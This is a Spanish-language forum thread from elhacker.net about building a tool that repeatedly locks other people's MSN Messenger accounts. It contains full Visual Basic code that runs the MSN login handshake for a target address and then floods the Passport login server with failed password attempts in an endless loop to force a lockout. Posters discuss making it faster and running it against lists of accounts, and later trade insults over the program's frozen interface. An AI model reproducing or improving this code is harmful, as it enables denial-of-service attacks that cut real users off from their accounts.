Foro de elhacker.net

hola , pues que les parece si comenzamos con un aplicación en donde podriamos bloquear cuentas messeger cada 3 segundos?

aqui dejo un codigo que publico Kisar y el quiero adaptar para conseguir mi objeto.



Les he arreglado un poco el código, al entrar en el bucle la ventana puede no responder pero esta haciendo su trabajo:

Código:

'Codez by Kizar



Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpOpenRequest Lib "wininet.dll" Alias "HttpOpenRequestA" (ByVal hHttpSession As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal something As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function HttpSendRequest Lib "wininet.dll" Alias "HttpSendRequestA" (ByVal hHttpRequest As Long, ByVal sHeaders As String, ByVal lHeadersLength As Long, ByVal sOptional As String, ByVal lOptionalLength As Long) As Long
Private Declare Function HttpQueryInfo Lib "wininet.dll" Alias "HttpQueryInfoA" (ByVal hHttpRequest As Long, ByVal lInfoLevel As Long, ByRef sBuffer As Any, ByRef lBufferLength As Long, ByRef lIndex As Long) As Integer
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Const email = "su_messenger@hotmail.com"
Dim ema As String, sta As Boolean

Private Sub Bloquear()
WS.Close
WS.RemoteHost = "messenger.hotmail.com"
WS.RemotePort = 1863
WS.Connect
End Sub

Private Sub Desbloquear()
sta = False
End Sub

Private Sub WS_Connect()
WS.SendData "VER 1 MSNP8 CVR0" & Chr(13) & Chr(10)
End Sub

Private Sub WS_DataArrival(ByVal bytesTotal As Long)
Dim datos As String, tmp() As String, tmp2() As String
WS.GetData datos
Select Case Left(datos, 3)
Case "VER"
WS.SendData "CVR 2 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & email & Chr(13) & Chr(10)
Case "CVR"
WS.SendData "USR 3 TWN I " & email & Chr(13) & Chr(10)
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect
Case "USR"
tmp = Split(datos, " ")
tmp2 = Split(email, "@")
ema = "Authorization: Passport1.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,sign-in=" & tmp2(0) & "%40" & tmp2(1) & ",pwd=crapware, " & tmp(4)
sta = True
Call Satura
End Select
End Sub

Private Sub Satura()
Dim hopen As Long, hConnection As Long, hRequest As Long, lgRep As Long, stStatusCode As String
Do While sta = True
hopen = InternetOpen("MSMSGS", 1, 0, 0, 0)
hConnection = InternetConnect(hopen, "loginnet.passport.com", 443, vbNullString, vbNullString, 3, &H280000, 0)
hRequest = HttpOpenRequest(hConnection, "GET", "/login2.srf", 0, vbNullString, 0, &H84E8F000, 0)
lgRep = HttpSendRequest(hRequest, ema, -1, 0, 0)
stStatusCode = Space$(1000)
HttpQueryInfo hRequest, &H16, ByVal stStatusCode, 1000, 0
InternetCloseHandle hopen
InternetCloseHandle hConnection
InternetCloseHandle hRequest
Loop
End Sub


Si el código les parece largo pueden cambiar "messenger.hotmail.com" por "207.46.109.50" y quitar este cacho de código:

Código:
Case "XFR"
tmp = Split(datos, " ")
WS.Close
WS.RemoteHost = Left(tmp(3), Len(tmp(3)) - 5)
WS.Connect


*******************************************************

si tienen alguna información posteenla para poder cumplir con el objetivo

Para que posteas mis códigos si ya están en este foro y no añades nada nuevo?

aqui te dejo un code medio desprolijo en el q yo estaba trabajando ....es una modificacion de un cliente msn.... que hace/ trata de hacer... lo q tu dices pruebalo y me dices.-

solo lo coloco de ejemoplo para las personas que no lo han visto, que me imagino son muchas, la idea es alcanzar lo propuesto, y no posteo mi codigo porque esta incompleto, pero estoy trabajando en ello, inmediatamente lo tenga listo, lo subo, saludos

hola, Tengu ..::Fireb0y::.. , no se que paso con el link, sin embargo cuando lo revise me salieron muchos errores, te agradeceria si estudiamos juntos el codigo, otra cosa muy importante es que el tiempo para bloquear una cuenta con el codigo de kizar es mucho, dura aprox. de 12 a 20 segundos, la idea es acelerar este proceso para que lo haga entre 5 y 8 segundos y asi poder bloquear diferentes cuentas, que esten por ejmeplo en un listbox, estoy seguro de que lo podemos hacer, saludos

es bastante facil agregame y hablamos

El problema de estos programas en Visual Basic es que se "cuelgan", siguen funcionando pero se quedan bloqueados y no me gusta nada. Si alguien encontrase alguna solución para que el programa no se quede como "no responde" pues estaría bien aunque no creo que se pueda hacer ya que al hacer el bucle infinito se peta el programa y por eso este tipo de programas es mejor hacerlos en C que no se bloquean de esta forma.

Saludos.

DoEvents  :)

Tengo un programa igual que este lleno de DoEvents, miles de DoEvents por todos sitios.

NO FUNCIONA

comprobado, se sigue petando.  :-(

Saludos.

Ese es el problema del VB.

I love C And VB.

Como ultima se me ocurre que crees un Thread aparte para que ejecute la funcion asi no te petara el Thread primario del vb (vb = monothread)

hola, un Thread? ummm no se, no le doy muchos  a los Thread, arriba esta el codigo, como lo implementarias?

ahh y Spider-Net, la verdad hasta ahora no se me ha bloqueado, dure ayer con el mas de media hora activo, y no se bloqueo, trabajemoslo para ver si funciona, saludos

ok, estuve tratando de implementar el thread, pero no me funciono, seguire intentando y les aviso

he programado juegos y el loop do event funciona bien... digo lo de los juegos porque solo existe un bucle infinito central y de ahi se comienza a programar

asi que no me vengan a decir que no funciona, no sabrán utilizarlo que es diferente xD

Y dónde pone que no funcione????

No sé por que antes de postear no lee la gente. Donde pone que no funcione?????
Lo que llevamos discutiendo es que el programa se peta por el bucle infinito. Aquí no eres el único que ha creado bucles Hans el Topo, nadie niega que los haga o que los hagas  bien por supuesto que sí y funcionarán, pero este programa crea un bucle infinito que peta el programa. Creo que lo dejé claro desde mi primera respuesta a este post que si funciona el programa, que yo tengo una igual pero que la interface se peta, se pone la pantalla en blanco y no ves los botones ni nada, sigue funcionando claro pero se peta el programa, dime como harías si el programa tuviese más funciones y tuvieses que ejecutarlas? si está la interface en "No Responde"

Haber si ahora me han entendido, y me dicen una forma para evitar esto que yo no lo conseguí y con DoEvents no va ni con Waits....

Saludos.

hola, veo que los humos se subieron un poco, tranquilos, todos sabemos que si nos proponemos en hacer algo lo hacemos, sigamos tratando de hallar la solucion, saludos.

me da que eres muy listo




k te den ... xD

Aprende a leer por donde va el tema capullo:


Estabamos hablando del uso de DoEvents aprende a leer con atención un Post, no funciona el uso de DoEvents para que el programa no pete, eso no quiere decir que el programa no funcione, que pasa que no sabes leer? el programa SIGUE FUNCIONANDO pero se cuelga la interface,sabes leer???? o no sabes leer?????

Valiente estúpidos subidos hay por aquí... xDDDD

Lo que hay que leer...

No, que eso es lo que te gusta  ;)

consejos das y ni tan siquiera entendisté lo que pusé y eso de insultar se ve que es lo único que sabes hacer porque leer...
SI NO FUNCIONA EL DO EVENTS ES PORQUE NO ESTA EN EL SITIO ADECUADO
eso es lo que yo he dicho no que el programa deje de funcionar que pareces tonto

si criticas algo al menos asegurate de que sabes lo que estas criticando y aplicate tu frase que te viene que ni pintada


para mi el tema ha quedado zanjado

Para mí el tema es que la has cagado y te has dado cuenta tarde... Sé poner un DoEvents y ponga donde lo ponga no funciona, si yo no sé y tu eres tan listo que sabes hacerlo todo ¿por qué no te dejas de tonterías y vienes y pones ese código con los DoEvents bien colocados (como tú sabes) para que no se pete el programa?

A ver si así haces algo útil para la comunidad porque de momento el creerte que sabes más que los demás sin hacer NADA sirve para poco.

Por cierto podrías apuntarte a unas clases de ortografía porque no pones bien ni una maldita tilde xDDD

Private Sub Form_Load()
    Me.Show
    While True
        Label1.Caption = Val(Label1.Caption) + 1
        DoEvents
    Wend
End Sub

Bucle infinito, probado y no peta

Y dejad de pelear, pareceis niños pequeños -.-

Hombre claro.... un bucle infinito que suma 1.... aiiiiss

Nos referimos a un bucle infinito un poco más complejo tal y como se ha posteado en el primer mensaje de este post, ese es el bucle que hay que evitar que se pete. Un bucle infinito que sume 1 ya sabemos que no se peta. Pero yo al menos no consigo que no se pete el programa este en concreto ni con DoEvents ni nada.

Lo que quería dejar claro es que ya hemos comprobado que esto no pasa con cualquier bucle infinito, que hay muchos bucles infinitos que funcionan perfectamente, pero este en concreto hace que se cuelgue la interface del programa y por eso intentábamos solucionarlo pero no encontramos la forma.

Tienes toda la razón.

Saludos.

LOL

No saben como estan siendo ridiculos... Estudien primero, discutan despues...

por favor, esta discución nos esta alejando del problema, pongamonos serios señores, saludos

jajajajajj!!!
Hans el Topo tiene la razon ! ^^ leé lo que puso..pero leé bien ¬¬
Hans el Topo yo te banco papa!!

Por Dios, callense.. se supone k esto no es para hacer acusaciones estupidas. Ahi se v "K tan listo" son los 2. Carajo, k no saben ni comportarse, parecen par de niños, putones, vuelvan al puto tema, o no posten k lo unico k hacen es spam.

todavia ustedes con eso, ya esta bueno, a trabajar

se pta por las llamadas a las api, que usan internet, por eso se peta. no es ningun bucle, sino que es la cmobinacion del delay que tiene la api al trabajar con internet mas larepeticion de la misma.

ademas de doevents en este caso encesitan alguna otra cosa, aconsejaria antes y despues del doevents un sleep(10) para que le de un minimo de  tiempo a redibujar el form entre bucle y bucle.